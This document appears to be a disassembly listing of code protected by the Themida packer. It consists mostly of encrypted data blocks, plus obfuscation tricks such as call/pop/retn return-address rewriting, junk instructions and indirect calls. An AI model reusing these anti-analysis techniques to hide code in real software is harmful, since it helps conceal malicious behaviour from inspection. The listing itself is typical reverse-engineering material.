		dd 6840Fh, 9D290000h, 6A80E8Dh,	1C31BD8Bh, 85C606A8h, 6A815D5h
		dd 52006A43h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 4527D09Bh, 786D5479h, 1D8D8B97h,	6806A814h
		dd 0BC907028h, 1D459589h, 0B5FF06A8h, 6A831F9h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7C35242h, 5EF98C37h
		dd 290EE2D5h, 0A806618Dh, 0C3858D06h, 0FF06A83Ah, 899D89D0h
		dd 8906A802h, 0A8028185h, 0D585C606h, 4C06A815h, 0DA1CE968h
		dd 0F9B5FFD9h, 6A06A831h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0EC9FC353h,	9E38DF3Ch
		dd 32098D8Bh, 858D06A8h, 6A83AC3h, 0FFC88B66h, 68D0FD0h
		dd 8B000000h, 0A831498Dh, 0ED858906h, 0B206A81Eh, 0D585C648h
		dd 4606A815h, 615BD29h,	146806A8h, 0E9BADE06h, 7, 0F734DFE8h
		dd 0FF0934C9h, 0A831F9B5h, 96BF6606h, 0C3858DDAh, 8B06A83Ah
		dd 0A82245BDh, 0BAD0FF06h, 7AE317E5h, 2FA98589h, 850906A8h
		dd 6A80AFDh, 3001B529h,	85C606A8h, 6A815D5h, 0B5E26847h
		dd 8B608A0Fh, 0A801AD9Dh, 9C2BE06h, 0FF613DBFh,	0A831F9B5h
		dd 0FE806h, 0E9370000h,	0F01AB8B9h, 7479257Bh, 5CD6C10h
		dd 0DDB5290Fh, 5A06A821h, 0B5958957h, 5F06A80Fh, 3AC3858Dh
		dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0B02FC0C3h, 1660179Fh, 8BA05DC2h,	59D29CBh
		dd 0FF06A81Fh, 1B3FBAD0h, 85896B56h, 6A80909h, 68D0Fh
		dd 0D1810000h, 4C3E3F5Fh, 15D585C6h, 804706A8h,	0F368B6C2h
		dd 983D0B5h, 0A8266D95h, 119D0906h, 0FF06A810h,	0A831F9B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 36679CE7h, 7A14697Ah, 0C18022BFh, 0C3858DB1h
		dd 8906A83Ah, 0A80F299Dh, 66D0FF06h, 89E294BFh,	0A81AC985h
		dd 5F28106h, 0C67C9FE8h, 0A815D585h, 6A7706h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 356D2BC3h
		dd 8B6652F1h, 0A3685FCEh, 66F397A8h, 0B5FFD08Bh, 6A80D2Dh
		dd 0DE9h, 0C1E44500h, 0EC4CD568h, 3ADDD55Bh, 858D7FF7h
		dd 6A83AC3h, 34298589h,	0D0FF06A8h, 263D8589h, 858906A8h
		dd 6A82235h, 25298D8Bh,	85C606A8h, 6A815D5h, 48B0F47h
		dd 66000000h, 68EBA7BFh, 8728FAF6h, 2123BF66h, 31F9B5FFh
		dd 0D08B06A8h, 3AC3858Dh, 0D0FF06A8h, 8589CF8Bh, 6A832D1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 37C35545h
		dd 0B70FF3A7h, 19BD8BCBh, 8106A815h, 0E93C5FEAh, 0D585C662h
		dd 4306A815h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	34C35545h, 0F69095AFh, 0F59D89DBh, 6806A801h, 0BC8E6EFCh
		dd 575B76B9h, 0F9B5FF7Ah, 6A06A831h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 99EBC353h
		dd 0E78166D6h, 858D0E73h, 6A83AC3h, 0CE957h, 59620000h
		dd 72D2F326h, 19F78400h, 0FF5F4988h, 599531D0h,	8906A809h
		dd 0A81AC185h, 6E806h, 6F630000h, 66B78AF2h, 0EA38BA66h
		dd 28E0F5Ah, 8B000000h,	0D585C6D0h, 4506A815h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 2BC35747h, 294DA721h
		dd 0A821158Dh, 69696806h, 85898E72h, 6A80579h, 31F9B5FFh
		dd 12E906A8h, 0D000000h, 3974D0F2h, 11F616ECh, 0DBE6EACEh
		dd 0F5C00FE4h, 49958BA0h, 8D06A826h, 0A83AC385h, 6870F06h
		dd 0B000000h, 0A80D45BDh, 8BD0FF06h, 818589CFh,	0C606A800h
		dd 0A815D585h, 9D294406h, 6A80099h, 0F2EC6468h,	0FFD38BB8h
		dd 0A831F9B5h, 0C3858D06h, 3106A83Ah, 0A82E4595h, 8BD0FF06h
		dd 0D58589CEh, 6606A829h, 0C63D84B9h, 0A815D585h, 6A4306h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 218799C3h, 3DDBA52Bh, 57C28166h, 4AA76830h, 3B9C076h
		dd 0FF616898h, 0A831F9B5h, 0FFB70F06h, 3AC3858Dh, 896006A8h
		dd 0A80F8D85h, 0D6816606h, 0B96151B6h, 70B41DA8h, 0DE9D0FFh
		dd 0A5000000h, 0DB39DDBAh, 0EAFEC251h, 8486D6B6h, 0F558589h
		dd 0BD2306A8h, 6A80F7Dh, 0F787BD80h, 0F0006AAh,	7284h
		dd 0CDBD0100h, 8D06A819h, 0AAF76985h, 6E806h, 0B53F0000h
		dd 0DE5F101Dh, 17D9D89h, 505906A8h, 7D850960h, 2906A822h
		dd 0A807E1BDh, 16A6106h, 0B297B966h, 8D8B006Ah,	6A82801h
		dd 0BD8B006Ah, 6A826ADh, 28195FFh, 95B106A8h, 0D6D8589h
		dd 958B06A8h, 6A81AADh,	0E981FF6Ah, 0EA6409Eh, 0D6DB5FFh
		dd 665306A8h, 6E8AE281h, 7D95FF5Ah, 8B06A82Ah, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A50460F5h, 605EFFDEh, 8D1958Bh, 858B06A8h, 6A8257Dh
		dd 12E861h, 0C55F0000h,	5A413953h, 8E54C416h, 9308CC5Fh
		dd 5AADBF2Bh, 19ED958Bh, 835F06A8h, 0A81ED9BDh,	9750006h
		dd 2DE9BD83h, 740006A8h, 8B535019h, 7D1B8C0h, 85890000h
		dd 6A807B5h, 0A1AC9D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h
		dd 50177400h, 7D1B853h,	85890000h, 6A807B5h, 9E9B9D8Dh
		dd 0D3FF06AAh, 0EF8A585Bh, 0FE9h, 23921B00h, 0CF4608C9h
		dd 0CEBCACD8h, 0B1141E2Fh, 0EC8AC08Bh, 15D585C6h, 894706A8h
		dd 0A80D31BDh, 0F7C16806h, 6A93C8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 11E883C3h
		dd 25000000h, 0EA7B9F24h, 70028E81h, 3B483341h,	89C35875h
		dd 59FEBF0Fh, 31F9B5FFh, 0BD8906A8h, 6A80DE5h, 3AC3858Dh
		dd 0EE8006A8h, 6AD0FFE2h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0A807C353h, 9E982h, 83890000h, 0D19C19F3h, 5070BDCFh
		dd 140D9D89h, 858D06A8h, 6AAFBAAh, 0CB18D8Bh, 0C706A8h
		dd 94h,	0ABA4B966h, 58F8BF0Fh, 0FBAAB58Dh, 0E58006AAh
		dd 8B505605h, 0A80CF995h, 0D0FF5F06h, 0E9CCB760h, 0Fh
		dd 6C5A7736h, 552D1A5Fh, 0A7F371EEh, 61223B3Fh,	0FBAA858Dh
		dd 8D8906AAh, 6A82DE5h,	6047883h, 29850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 76FEB6C3h, 3E85C7F9h, 106AAFCh, 83000000h, 0A806D9BDh
		dd 850F0006h, 9Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0B8C35747h, 971D92E5h, 33501F5Fh, 0A8265DBDh
		dd 0BD835906h, 6AAFC3Eh, 66850F00h, 89000000h, 0A81DC995h
		dd 0BE906h, 9E6E0000h, 8F3C3CDBh, 905C7BD9h, 6DBD83D7h
		dd 6A827h, 43840Fh, 85C70000h, 6A81BFDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_57A1C3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A1C3	proc near		; CODE XREF: Themida_:0057A1BBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_57A1C3	endp

; ---------------------------------------------------------------------------
		db 6Ch
; ---------------------------------------------------------------------------
		mov	word ptr [edx+ebx-58BC8A34h], ds
		jns	loc_57A1E6
		mov	edx, 7AA8E7FDh


loc_57A1E6:				; CODE XREF: Themida_:0057A1DBj
		jmp	loc_57A1F1
; ---------------------------------------------------------------------------
		mov	edi, 0A660983h
		xchg	eax, esp


loc_57A1F1:				; CODE XREF: Themida_:loc_57A1E6j
		mov	bx, ds
		cld
		stc
		test	bl, 4
		jz	loc_57A7B1
		sub	[ebp+6A832A5h],	edx
		mov	dword ptr [ebp+6A8339Dh], 0
		xor	cx, 0EAB3h
		cmp	byte ptr [ebp+6AAF794h], 0
		jnz	loc_57A222
		cmc


loc_57A222:				; CODE XREF: Themida_:0057A21Bj
		mov	byte ptr [ebp+6A815D5h], 47h
		jo	loc_57A246
		jmp	loc_57A246
; ---------------------------------------------------------------------------
		dd 5F6275E5h, 0F37BF6F0h, 0E89AD391h, 0D95B4097h
; ---------------------------------------------------------------------------
		jmp	dword ptr [ebx]
; ---------------------------------------------------------------------------


loc_57A246:				; CODE XREF: Themida_:0057A229j
					; Themida_:0057A22Fj
		push	0E3E45B86h
		push	dword ptr [ebp+6A831F9h]
		push	0
		push	eax
		call	sub_57A25C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A25C	proc near		; CODE XREF: Themida_:0057A254p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_57A25C	endp

; ---------------------------------------------------------------------------
		dd 858DC4E1h, 6A83AC3h,	0D0FFDBB2h, 68D18B66h, 104h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 44C35646h, 7D4C118h
		dd 2CC1B529h, 9D8D06A8h, 6A81C35h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0F3C35242h,	0BF66D238h, 0BA538551h
		dd 38F35197h, 6AD0FFF9h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 833CC355h, 0F0B5AB4h
		dd 8166D7BFh, 8DB2B1D2h, 0A81C3585h, 38F0F06h, 0F000000h
		dd 0BF50D2B7h, 7C96AFC7h, 0F746858Dh, 14E906AAh, 0F6000000h
		dd 0B39CF318h, 0C082F08Bh, 0B7341FAEh, 196BF660h, 50ECAB64h
		dd 5E9h, 0B44A7E00h, 8D0F9443h,	3, 8DCA8B66h, 0AAEE1985h
		dd 99958B06h, 5006A829h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 1AC35747h, 8C0996B9h,	6810F26h, 0B000000h
		dd 0A82F998Dh, 3595FF06h, 8B06A822h, 0A8029595h, 0CC48306h
		dd 6810Fh, 8D890000h, 6A80BA5h,	8068006Ah, 6A000000h, 6A006A03h
		dd 6800h, 858D8000h, 6AAEE19h, 0C195FF50h, 8906A81Ah, 0AAF72985h
		dd 0D585C606h, 4706A815h, 0B15E8768h, 0F9B5FFC7h, 8D06A831h
		dd 0A83AC385h, 6AD0FF06h, 29B5FF00h, 0FF06AAF7h, 0D18151D0h
		dd 2505A61h, 6800F59h, 89000000h, 0A831D19Dh, 37D03D06h
		dd 830F0000h, 48h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 9EC35242h, 0FFD08B66h, 0AAF729B5h, 71BD2906h
		dd 8B06A82Ch, 0A819F595h, 5595FF06h, 8B06A80Fh,	0A82CBDBDh
		dd 0DFE906h, 0BD890000h, 6A82CD5h, 0F729B5FFh, 8D8906AAh
		dd 6A81A5Dh, 0F5595FFh,	0ADB106A8h, 8A0F006Ah, 2, 6ACF8Bh
		dd 6A34B5h, 15EDB589h, 5A5306A8h, 11E9006Ah, 56000000h
		dd 6A46BDDDh, 0C65F885Fh, 0DD5CF6ABh, 0E49939BBh, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 4CC4CEC3h, 0BC9A72Dh, 0A8306595h, 0C9BD2906h, 6A06A830h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 391B67A7h, 0B3D8D8Bh, 858D06A8h,	6AAF72Dh
		dd 6820Fh, 0BD8B0000h, 6A83495h, 50CAB70Fh, 85896BB5h
		dd 6A8021Dh, 1AC195FFh,	0B58906A8h, 6A82C9Dh, 0F883FA8Bh
		dd 77850FFFh, 0F000001h, 48Ch, 10B96600h, 0B9858D11h, 0BA06AAB2h
		dd 46D96D6h, 8060D0FFh,	9D8BF6F1h, 6A80621h, 6A006A61h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7C02C357h, 0CA881FCh, 8B8473AEh, 0A834A595h
		dd 0CA816606h, 6ADA7Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 9CC35747h, 9E9A410h, 0C8000000h, 0A6396C5h
		dd 0A7A45CCFh, 8589006Ah, 6A8310Dh, 0AE9006Ah, 53000000h
		dd 0D01BE089h, 0D28372A7h, 8B006A62h, 8B006AF8h, 0A80E3995h
		dd 5D8D8B06h, 8D06A834h, 0AAF72D85h, 1BD2B06h, 5006A802h
		dd 9E9h, 0FEC97100h, 0CF3280A7h, 95FFF014h, 6A81AC1h, 0C5D9589h
		dd 0F88306A8h, 9B850FFFh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DC9FC350h
		dd 8D0F5AC6h, 1Dh, 11E8h, 0A8AC6400h, 907A57F1h, 1527E025h
		dd 5638E797h, 9589E331h, 6A80971h, 3DF815Ah, 8D76BAA5h
		dd 0AAF135B5h, 0CE8B6006h, 16D99531h, 8D6106A8h, 0AA9B7C85h
		dd 12E906h, 0D20D0000h,	1965609Ch, 480A62CEh, 537775E8h
		dd 88F3C493h, 14AD8D8Bh, 0D0FF06A8h, 0E45BD8Bh,	3DBF06A8h
		dd 6A26BE51h, 0B98D2B00h, 0FF06A826h, 0A8008195h, 5FBDBA06h
		dd 85896312h, 6AAF729h,	219D8D09h, 6A06A8h, 21858DF9h
		dd 5006AAF7h, 153237B9h, 8D046A43h, 0A8072585h,	4800F06h
		dd 66000000h, 50D5CCB9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 0DCC35646h, 8B2BCE00h, 0A8160995h, 0F88B6606h
		dd 0BA66006Ah, 6A97D5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 5C35343h, 9701278Ch, 25099D89h, 958906A8h
		dd 6A82B15h, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0C50617C3h, 0FF67BDC4h, 0AAF729B5h
		dd 419D8906h, 0BF06A826h, 2667384Eh, 29D595FFh,	10E806A8h
		dd 2C000000h, 64CA30B6h, 84627862h, 294D2BC9h, 0E88C478Dh
		dd 0Dh,	0CBB0BB8Eh, 428B7524h, 0A418932h, 8E0F95h, 5A000000h
		dd 1AFDE95Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0DEB536C3h, 9F6C9A0Fh, 25C28166h
		db 0D9h
; ---------------------------------------------------------------------------


loc_57A7B1:				; CODE XREF: Themida_:0057A1F9j
		mov	eax, eax
		pusha
		jmp	loc_57A7C7
; ---------------------------------------------------------------------------
		db 18h,	0Ch, 0BEh
		dd 0C3958815h, 64D7BDF4h
		db 0D9h, 0F2h, 0C4h
; ---------------------------------------------------------------------------


loc_57A7C7:				; CODE XREF: Themida_:0057A7B4j
		xor	edi, 426295E8h
		popa
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_57A7E0
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_57A7F9


loc_57A7E0:				; CODE XREF: Themida_:0057A7D5j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D2h
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AAA1ACh]
		call	ebx
		pop	ebx
		pop	eax


loc_57A7F9:				; CODE XREF: Themida_:0057A7DEj
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_57A819
		push	eax
		push	ebx
		mov	eax, 7D2h
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AA9E9Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_57A819:				; CODE XREF: Themida_:0057A800j
		mov	[ebp+6A815ADh],	ebx
		add	di, 0D0F2h
		mov	eax, eax
		push	0
		push	esi
		call	sub_57A831
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A831	proc near		; CODE XREF: Themida_:0057A829p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_57A831	endp

; ---------------------------------------------------------------------------
		db 0E6h, 8, 7Dh
		dd 0C7C88BEAh, 0A8339D85h, 106h, 0EE800h, 7D3F0000h, 1C15EAC7h
		dd 0F3D6602h, 0C0976803h, 0FA5958Bh, 685A06A8h,	0CEE4E7B8h
		dd 69DB5FFh, 858D06A8h,	6A83AC3h, 8589D0FFh, 6A817F1h
		dd 0F985858Dh, 8D5006AAh, 0AAFC4285h, 1685006h,	0FF800000h
		dd 0A817F195h, 75C00B06h, 3D85C70Ah, 106A832h, 68000000h
		dd 0C005DBD4h, 69DB5FFh, 858D06A8h, 6A83AC3h, 8589D0FFh
		dd 6A80D11h, 0EBD2858Dh, 0FF5006AAh, 0A831F9B5h, 995FF06h
		dd 0B06A809h, 8B0B74C0h, 85858DD8h, 5006AAFBh, 858DD3FFh
		dd 6AAFB85h, 9388366h, 85C70A75h, 6A80A99h, 1, 32D195FFh
		dd 0FF2506A8h, 83000000h, 0A7305F8h, 21C585C7h,	106A8h
		dd 8AF80000h, 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 43C7CC2Ch, 18899BF9h, 0BD80BE0Ch
		dd 6AAF794h, 2B840F00h,	8B000000h, 0A805218Dh, 3EBD8306h
		dd 6AAFCh, 41840Fh, 8E80000h, 35000000h, 3F60F617h, 609FA87Ah
		dd 66D3B70Fh, 0A5D1DF81h, 0CE95961h, 6A000019h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 6870C352h, 2B2AAB7Ah, 83FEB70Fh, 0A80A99BDh,	850F0006h
		dd 90h,	10E9h, 0DAF1B500h, 0FCD986D5h, 0D57EE54Ch, 4B87382h
		dd 5E858DBDh, 5006AAF7h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0DFC35343h, 16A00E2h,	6ACE8Bh, 10E9h
		dd 3E988900h, 0C7B338BAh, 60A8B530h, 0EA63B6B1h, 8B006AB9h
		dd 8195FFD7h, 8906A802h, 0A807C9B5h, 88858906h,	0BF06AAF7h
		dd 623F6373h, 0BD8BFF6Ah, 6A817CDh, 0F788B5FFh,	8D8B06AAh
		dd 6A81509h, 95FFD7B1h,	6A82A7Dh, 0A796B966h, 0EB99858Dh
		dd 10E906AAh, 0BE000000h, 86400CDAh, 0A2445Eh, 12D6BA54h
		dd 0FCB83E1h, 6A50FFB7h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 9F9CC352h, 9DD7DA81h
		dd 9E9057Ah, 6B000000h,	0DD47C457h, 732F19E4h, 1EED95FFh
		dd 816606A8h, 898A04DAh, 0AAEC2385h, 20D98106h,	8D537460h
		dd 0AAEBA685h, 2850F06h, 8B000000h, 820F50CFh, 16h, 11E9h
		dd 0B1F90900h, 93AC74Dh, 0F10E4C8Fh, 0A853FEDDh, 12E9A27Eh
		dd 0CE000000h, 75A0BB9Eh, 0D285B7BFh, 0F2A750C4h, 0BD8207B2h
		dd 23B5FF45h, 0E806AAECh, 5, 0BC0CD60Ch, 0C28166AEh, 0FF5A3C62h
		dd 0A8090995h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8589FB97h, 6A814B1h, 2E11BD8Bh
		dd 858D06A8h, 6AAEC14h,	1820F60h, 0FC000000h, 96ADCA81h
		dd 896178E5h, 0A832D595h, 0B5FF5006h, 6AAEC23h,	90995FFh
		dd 0FAB906A8h, 8972A4DFh, 0AAEC3785h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0FC558B76h, 3216F28h, 798D8BDAh, 8B06A830h, 0A8312995h
		dd 0F3858D06h, 6A06AAEBh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 3127C356h, 0B5FF5062h
		dd 6AAEC23h, 0FFC9BF0Fh, 0A8090995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 81667343h
		dd 89F0DAE2h, 0AAEC2F85h, 0B1B52906h, 8D06A82Fh, 0AAEBE685h
		dd 0B99D0906h, 5006A830h, 0AE9h, 25135800h, 0A0195FC1h
		dd 0FFCE2C63h, 0AAEC23B5h, 0DDBD8B06h, 0FF06A810h, 0A8090995h
		dd 0CBB70F06h, 0EC338589h, 816606AAh, 80CFC4D1h, 858D7AD9h
		dd 6AAEC01h, 1E259D29h,	0FF5006A8h, 0AAEC23B5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 6A05A685h, 8A0F691Ch, 4, 0ABB8B966h,	90995FFh, 858906A8h
		dd 6A8330Dh, 2899B589h,	0BD8B06A8h, 6A82115h, 0EBB5858Dh
		dd 0CA8B06AAh, 26B96650h, 0FFF88B63h, 0AAEC23B5h, 0A8BDB906h
		dd 95FF3680h, 6A80909h,	7E8h, 0C74A4300h, 0ECEACC61h, 2785895Fh
		dd 6A06AAECh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 38F2C350h, 858D853Bh, 6AAEBC4h
		dd 0FE9h, 0F0397000h, 0A402FA40h, 84AA753Dh, 834D3551h
		dd 3FDD8050h, 0EC23B5FFh, 0BEB906AAh, 0FF0F9531h, 0A8090995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 57A32A73h, 0E2B9662Ch, 0E2816647h, 8589EB98h
		dd 6AAEC2Bh, 8BFBB70Fh,	0A822D9BDh, 1046806h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 858DBEC3h, 6AAECBBh,	51006A50h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 7C5C87CEh, 668040B6h
		dd 0C836D981h, 8DC4F580h, 0AAEDBF85h, 31F95006h, 0A820D98Dh
		dd 0C995FF06h, 8B06A81Ah, 0A8345995h, 3850F06h,	66000000h
		dd 0C085F98Bh, 2E850Fh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0E10A15C3h, 561CA90Bh
		dd 0B966D7CDh, 0BD0B3904h, 6A825E1h, 0F794BD80h, 0F0006AAh
		dd 2F85h, 0E9F08A00h, 148Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0D8C35242h,	86BCA463h, 8589A092h
		dd 6A80721h, 0A99BD83h,	0F0006A8h, 1085h, 3EBD8300h, 6AAFCh
		dd 5D840Fh, 8B660000h, 58858DD3h, 8B06AAECh, 0A80B018Dh
		dd 1435E906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FACDCC3h, 28Bh,	0E95F5200h, 2Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0B2C35040h
		dd 8D525EACh, 0AAEC4385h, 71950106h, 5006A80Ah,	0C5958950h
		dd 5A06A810h, 0ECBB858Dh, 61B506AAh, 57006A50h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0C4B966D1h
		dd 99BD8367h, 6A80Ah, 3E840Fh, 81660000h, 8D25EBF2h, 0AAEDE185h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 81666CCEh, 0E9E839D7h, 13h, 6870Fh, 958B0000h
		dd 6A83039h, 0EDCA858Dh, 50F906AAh, 918EA81h, 858D6227h
		dd 6AAEE19h, 5850Fh, 3FBA0000h,	50373BF5h, 3595FFFCh, 6006A822h
		dd 56EC1FB9h, 0B9BD891Fh, 6106A828h, 2910C483h,	0A82F35B5h
		dd 0E9C08B06h, 13h, 10620C9Ch, 63B7AD8Ah, 6381D9B5h, 2CFB531Fh
		dd 83BBA826h, 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h
		dd 8B535019h, 7D3B8C0h,	85890000h, 6A807B5h, 0A1AC9D8Dh
		dd 0D3FF06AAh, 0BD83585Bh, 6A82DE9h, 50177400h,	7D3B853h
		dd 85890000h, 6A807B5h,	9E9B9D8Dh, 0D3FF06AAh, 13E9585Bh
		dd 4F000000h, 5CB78012h, 110717CCh, 4F9AD8CDh, 0B893273Eh
		dd 0C180C024h, 6AC08B78h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 89E9C350h, 6E986AEh
		dd 0C6000000h, 0A0270575h, 43BD8121h, 6F06AAECh, 0F616572h
		dd 0B784h, 0FD8D8900h, 8D06A814h, 0AAECBB85h, 858D5006h
		dd 6AAEDF8h, 19858D50h,	5006AAEEh, 223595FFh, 0C48306A8h
		dd 0D585C60Ch
		dd 4406A815h, 0A3184F68h, 0F9B5FF96h, 8D06A831h, 0A83AC385h
		dd 8BD0FF06h, 19858DD8h, 5006AAEEh, 858DD3FFh, 6AAEC43h
		dd 0BB858D50h, 5006AAECh, 0A99BD83h, 740006A8h,	0E1858D08h
		dd 0EB06AAEDh, 0CA858D06h, 5006AAEDh, 0EE19858Dh, 0FF5006AAh
		dd 0A8223595h, 10C48306h, 0AE9h, 0AA07CA00h, 0ECF4C7Eh
		dd 6ABC53F2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 3B6DC351h, 9058D03h, 9D8906A8h
		dd 6A80AD5h, 32D195FFh,	0DF8106A8h, 8A279EDh, 0FF25h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A5D1D2E0h, 528A8E19h, 0C8B70F56h, 12E95A5Ah, 0F4000000h
		dd 0C9EB927h, 0F839A844h, 0E56CC8F5h, 0C5D0695Eh, 5F8832Eh
		dd 39830Fh, 61B90000h, 0C73E4AAEh, 0A821C585h, 106h, 0D18B6600h
		dd 0EC77858Dh, 9E906AAh, 70000000h, 0F71B15A3h,	653C7276h
		dd 60E9h, 0BD8B6000h, 6A81605h,	21A9BD8Bh, 836106A8h, 0A80A99BDh
		dd 840F0006h, 33h, 0F09B589h, 858D06A8h, 6AAECA2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 65C35646h, 80F06836h
		dd 12E96BDEh, 8D000000h, 0AAEC8485h, 6840F06h, 1000000h
		dd 0A8302D8Dh, 0B7858906h, 6A06AAECh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2AA5C355h
		dd 23274E45h, 599D89CCh, 8306A822h, 0A80A99BDh,	850F0006h
		dd 1Dh,	0DEFEBA66h, 0FC3EBD83h,	0F0006AAh, 1784h, 41BD8B00h
		dd 8906A82Eh, 0A82D7985h, 1071E906h, 0B9660000h, 0E5B199F2h
		dd 398E9h, 6810F00h, 8B000000h,	0A80D3195h, 8BC08B06h
		dd 0A81719BDh, 0D9BD8306h, 6A81Eh, 0BD830975h, 6A82DE9h
		dd 50197400h, 0B8C08B53h, 7D4h,	7B58589h, 9D8D06A8h, 6AAA1ACh
		dd 585BD3FFh, 2DE9BD83h, 740006A8h, 0B8535017h,	7D4h, 7B58589h
		dd 9D8D06A8h, 6AA9E9Bh,	585BD3FFh, 0B0D8D8Bh, 0C08B06A8h
		dd 0F003F68h, 6890F00h,	2B000000h, 0A81B6D95h, 6A006A06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 26B0C351h, 6A237054h, 0FBBF0F00h,	14B195FFh
		dd 12E906A8h, 75000000h, 40C57A9Ah, 31051B9h, 807D4E7Bh
		dd 52E13328h, 0FC0853Ah, 0C85h,	0C5EA8100h, 8954E381h
		dd 0A829A18Dh, 3B858906h, 3106AAECh, 0A81F29B5h, 89006A06h
